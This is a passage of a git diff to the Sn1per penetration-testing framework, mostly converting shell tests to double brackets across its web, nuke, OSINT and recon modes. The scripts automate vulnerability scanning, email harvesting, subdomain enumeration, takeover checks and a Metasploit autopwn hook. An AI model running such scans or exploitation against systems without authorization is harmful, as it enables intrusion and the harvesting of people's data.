"${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING CMSMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -105,7 +105,7 @@ if [ "$MODE" = "web" ]; then cmsmap https://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt echo "" fi - if [ "$WPSCAN" == "1" ]; then + if [[ "$WPSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -113,20 +113,20 @@ if [ "$MODE" = "web" ]; then echo "" wpscan --url https://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt fi - if [ "$NIKTO" == "1" ]; then + if [[ "$NIKTO" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" nikto -h https://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port443.txt sed -ir "s/ /dev/null cd $INSTALL_DIR fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi cd $INSTALL_DIR - if [ "$METASPLOIT_EXPLOIT" == "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then PORT="443" SSL="true" source modes/web_autopwn.sh diff --git a/modes/nuke.sh b/modes/nuke.sh index a2309ea..242c1a9 100644 --- a/modes/nuke.sh +++ b/modes/nuke.sh @@ -1,14 +1,14 @@ # NUKE MODE ##################################################################################################### -if [ "$MODE" = "nuke" ]; then - if [ -z "$FILE" ]; then +if [[ "$MODE" = "nuke" ]]; then + if [[ -z "$FILE" ]]; then logo echo "You need to specify a list of targets (ie. -f ) to scan." exit fi - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then for a in `cat $FILE`; do - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*] Saving loot to $WORKSPACE_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -39,16 +39,16 @@ if [ "$MODE" = "nuke" ]; then echo -e "$OKRED --------------------------------------------------------- $RESET" echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET" echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then + if [[ ! -z "$WORKSPACE_DIR" ]]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 else echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "Starting scan: $TARGET $MODE `date +"%Y-%m-%d %H:%M"`" fi sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -56,10 +56,10 @@ if [ "$MODE" = "nuke" ]; then args="" done fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/osint.sh b/modes/osint.sh index 9099962..92fc4cc 100644 --- a/modes/osint.sh +++ b/modes/osint.sh @@ -1,65 +1,65 @@ -if [ "$OSINT" = "1" ]; then - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then +if [[ "$OSINT" = "1" ]]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WHOIS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$WHOIS" == "1" ]; then - if [ "$VERBOSE" == "1" ]; then + if [[ "$WHOIS" == "1" ]]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null $RESET" fi whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt" fi fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING ULTATOOLS DNS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$ULTRATOOLS" == "1" ]; then + if [[ "$ULTRATOOLS" == "1" ]]; then curl -s https://www.ultratools.com/tools/ipWhoisLookupResult\?ipAddress\=$TARGET | grep -A2 label | grep -v input | grep span | cut -d">" -f2 | cut -d"<" -f1 | sed 's/\ \;//g' 2> /dev/null | tee $LOOT_DIR/osint/ultratools-$TARGET.txt 2> /dev/null fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$INTODNS" == "1" ]; then + if [[ "$INTODNS" == "1" ]]; then wget -q http://www.intodns.com/$TARGET -O $LOOT_DIR/osint/intodns-$TARGET.html 2> /dev/null echo -e "$OKRED[+]$RESET Report saved to: $LOOT_DIR/osint/intodns-$TARGET.html" fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING THEHARVESTER OSINT INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$THEHARVESTER" == "1" ]; then - if [ "$VERBOSE" == "1" ]; then + if [[ "$THEHARVESTER" == "1" ]]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python2.7 $THEHARVESTER_PATH -d $TARGET -l 100 -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null $RESET" fi theharvester -d $TARGET -l 100 -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS_THEHARVESTER" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_THEHARVESTER" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/theharvester-$TARGET.txt" fi fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING EMAILS FROM EMAIL-FORMAT.COM $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$EMAILFORMAT" == "1" ]; then + if [[ "$EMAILFORMAT" == "1" ]]; then curl -s https://www.email-format.com/d/$TARGET| grep @$TARGET | grep -v div | sed "s/\t//g" | sed "s/ //g" 2> /dev/null | tee $LOOT_DIR/osint/email-format-$TARGET.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS_EMAIL_FORMAT" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_EMAIL_FORMAT" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/email-format-$TARGET.txt" fi fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNS ALTERATIONS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$URLCRAZY" == "1" ]; then + if [[ "$URLCRAZY" == "1" ]]; then urlcrazy $TARGET 2> /dev/null | tee $LOOT_DIR/osint/urlcrazy-$TARGET.txt 2> /dev/null fi - if [ "$METAGOOFIL" == "1" ]; then - if [ "$VERBOSE" == "1" ]; then + if [[ "$METAGOOFIL" == "1" ]]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null $RESET" fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -68,23 +68,23 @@ if [ "$OSINT" = "1" ]; then cd $INSTALL_DIR/plugins/metagoofil/ python metagoofil.py -d $TARGET -t doc,pdf,xls,csv,txt -l 100 -n 100 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null cd $INSTALL_DIR - if [ "$SLACK_NOTIFICATIONS_METAGOOFIL" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_METAGOOFIL" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/metagoofil-$TARGET.txt" fi fi - if [ "$HUNTERIO" == "1" ]; then + if [[ "$HUNTERIO" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING EMAILS VIA HUNTER.IO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -s "https://api.hunter.io/v2/domain-search?domain=$TARGET&api_key=$HUNTERIO_KEY" | egrep "name|value|domain|company|uri|position|phone" 2> /dev/null | tee $LOOT_DIR/osint/hunterio-$TARGET.txt 2> /dev/null fi - if [ "$METASPLOIT_EXPLOIT" == "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING EMAILS VIA METASPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" msfconsole -x "use auxiliary/gather/search_email_collector; set DOMAIN $TARGET; run; exit y" | tee $LOOT_DIR/osint/msf-emails-$TARGET.txt 2> /dev/null fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi fi diff --git a/modes/osint_stage_2.sh b/modes/osint_stage_2.sh index 6264f98..b6ab685 100644 --- a/modes/osint_stage_2.sh +++ b/modes/osint_stage_2.sh @@ -1,19 +1,19 @@ - if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then - if [ $OSINT == "0" ]; then + if [[ $SCAN_TYPE == "DOMAIN" ]] && [[ $OSINT == "1" ]]; then + if [[ $OSINT == "0" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SKIPPING OSINT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" else - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi - if [ $GOOHAK = "1" ]; then + if [[ $GOOHAK = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" goohak $TARGET > /dev/null fi - if [ $INURLBR = "1" ]; then + if [[ $INURLBR = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -23,7 +23,7 @@ rm -Rf output/ cookie.txt exploits.conf fi GHDB="1" - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi fi diff --git a/modes/recon.sh b/modes/recon.sh index cd68d18..d1f68ec 100644 --- a/modes/recon.sh +++ b/modes/recon.sh @@ -1,15 +1,15 @@ -if [ "$RECON" = "1" ]; then - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then +if [[ "$RECON" = "1" ]]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per recon scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi cp $LOOT_DIR/domains/domains-$TARGET-full.txt $LOOT_DIR/domains/domains_old-$TARGET.txt 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$SUBLIST3R" = "1" ]; then + if [[ "$SUBLIST3R" = "1" ]]; then python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null fi - if [ "$AMASS" = "1" ]; then + if [[ "$AMASS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -21,7 +21,7 @@ if [ "$RECON" = "1" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" amass intel -whois -d $TARGET | tee $LOOT_DIR/domains/domains-$TARGET-reverse-whois.txt 2> /dev/null fi - if [ "$SUBFINDER" = "1" ]; then + if [[ "$SUBFINDER" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER (THIS COULD TAKE A WHILE...) $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -30,13 +30,13 @@ if [ "$RECON" = "1" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DNSCAN" = "1" ]; then + if [[ "$DNSCAN" = "1" ]]; then python $PLUGINS_DIR/dnscan/dnscan.py -d $TARGET -w $DOMAINS_QUICK -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-ips-$TARGET.txt cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt 2>/dev/null | grep $TARGET| awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null fi echo "" - if [ "$CRTSH" = "1" ]; then + if [[ "$CRTSH" = "1" ]]; then echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" @@ -45,18 +45,18 @@ if [ "$RECON" = "1" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKBLUE" curl -s https://crt.sh/?q=%25.$TARGET > $LOOT_DIR/domains/domains-$TARGET-presorted.txt - cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt + cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/BR/\n/g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt cat $LOOT_DIR/domains/domains-$TARGET-crt.txt echo "" echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt" fi - if [ "$CENSYS_SUBDOMAINS" = "1" ]; then + if [[ "$CENSYS_SUBDOMAINS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING CENSYS SUBDOMAINS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" python $PLUGINS_DIR/censys-subdomain-finder/censys_subdomain_finder.py --censys-api-id $CENSYS_APP_ID --censys-api-secret $CENSYS_API_SECRET $TARGET | egrep "\-" | awk '{print $2}' | tee $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null fi - if [ "$SHODAN" = "1" ]; then + if [[ "$SHODAN" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SHODAN SUBDOMAINS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -65,7 +65,7 @@ if [ "$RECON" = "1" ]; then awk '{print $3}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null | grep -v "\;" | tee $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2> /dev/null awk '{print $1}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2>/dev/null fi - if [ "$PROJECT_SONAR" = "1" ]; then + if [[ "$PROJECT_SONAR" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING PROJECT SONAR SUBDOMAINS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -82,19 +82,19 @@ if [ "$RECON" = "1" ]; then sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null cat $LOOT_DIR/domains/domains-$TARGET.txt | grep -v "*" | grep -v "?" | tee $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt - if [ "$ALT_DNS" = "1" ]; then + if [[ "$ALT_DNS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING ALTDNS SUBDOMAINS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" altdns -i $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt -w $INSTALL_DIR/wordlists/altdns.txt -o $LOOT_DIR/domains/domains-$TARGET-altdns.txt 2> /dev/null fi - if [ "$DNSGEN" = "1" ]; then + if [[ "$DNSGEN" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNSGEN SUBDOMAINS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" dnsgen $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt > $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt 2> /dev/null fi - if [ "$MASS_DNS" = "1" ]; then + if [[ "$MASS_DNS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING MASSDNS ON SUBDOMAINS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -106,25 +106,25 @@ if [ "$RECON" = "1" ]; then grep "A " $LOOT_DIR/domains/domains-$TARGET-massdns.txt | awk '{print $3}' | grep -v "*" | sort -u | tee $LOOT_DIR/ips/massdns-A-records-$TARGET.txt cat $LOOT_DIR/ips/massdns-A-records-$TARGET.txt >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null fi - sort -u $LOOT_DIR/domains/domains-$TARGET-presorted.txt $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-full.txt + cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt $LOOT_DIR/domains/domains-$TARGET-massdns-sorted.txt 2> /dev/null | sort -u 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-full.txt cat $LOOT_DIR/domains/domains-$TARGET-full.txt >> $LOOT_DIR/scans/updated.txt 2> /dev/null - rm -f $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null + #rm -f $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null diff $LOOT_DIR/domains/domains_old-$TARGET.txt $LOOT_DIR/domains/domains-$TARGET-full.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/domains/domains_new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_DOMAINS_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_DOMAINS_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/domains/domains_new-$TARGET.txt" fi echo -e "$RESET" - if [ "$SPOOF_CHECK" = "1" ]; then + if [[ "$SPOOF_CHECK" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" python $PLUGINS_DIR/spoofcheck/spoofcheck.py $TARGET | tee $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null echo "" - if [ "$SLACK_NOTIFICATIONS_EMAIL_SECURITY" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_EMAIL_SECURITY" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/email-$TARGET.txt" fi fi - if [ "$SUBHIJACK_CHECK" = "1" ]; then + if [[ "$SUBHIJACK_CHECK" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR CNAME SUBDOMAIN HIJACKING $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -133,11 +133,11 @@ if [ "$RECON" = "1" ]; then for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done; grep -h "CNAME" $LOOT_DIR/nmap/takeovers-* 2>/dev/null | sort -u 2> /dev/null | awk '{print $1 " " $4 " " $5}' | grep CNAME | sort -u > $LOOT_DIR/nmap/takeovers_new-all.txt diff $LOOT_DIR/nmap/takeovers_old-all.txt $LOOT_DIR/nmap/takeovers_new-all.txt 2> /dev/null | grep "> " | awk '{print $2 " " $3 " " $4}' | sort -u > $LOOT_DIR/nmap/takeovers_new-diff.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS_TAKEOVERS_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_TAKEOVERS_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/takeovers_new-diff.txt" fi fi - if [ "$SUBOVER" = "1" ]; then + if [[ "$SUBOVER" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED STARTING SUBOVER HIJACKING SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -147,33 +147,33 @@ if [ "$RECON" = "1" ]; then sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" 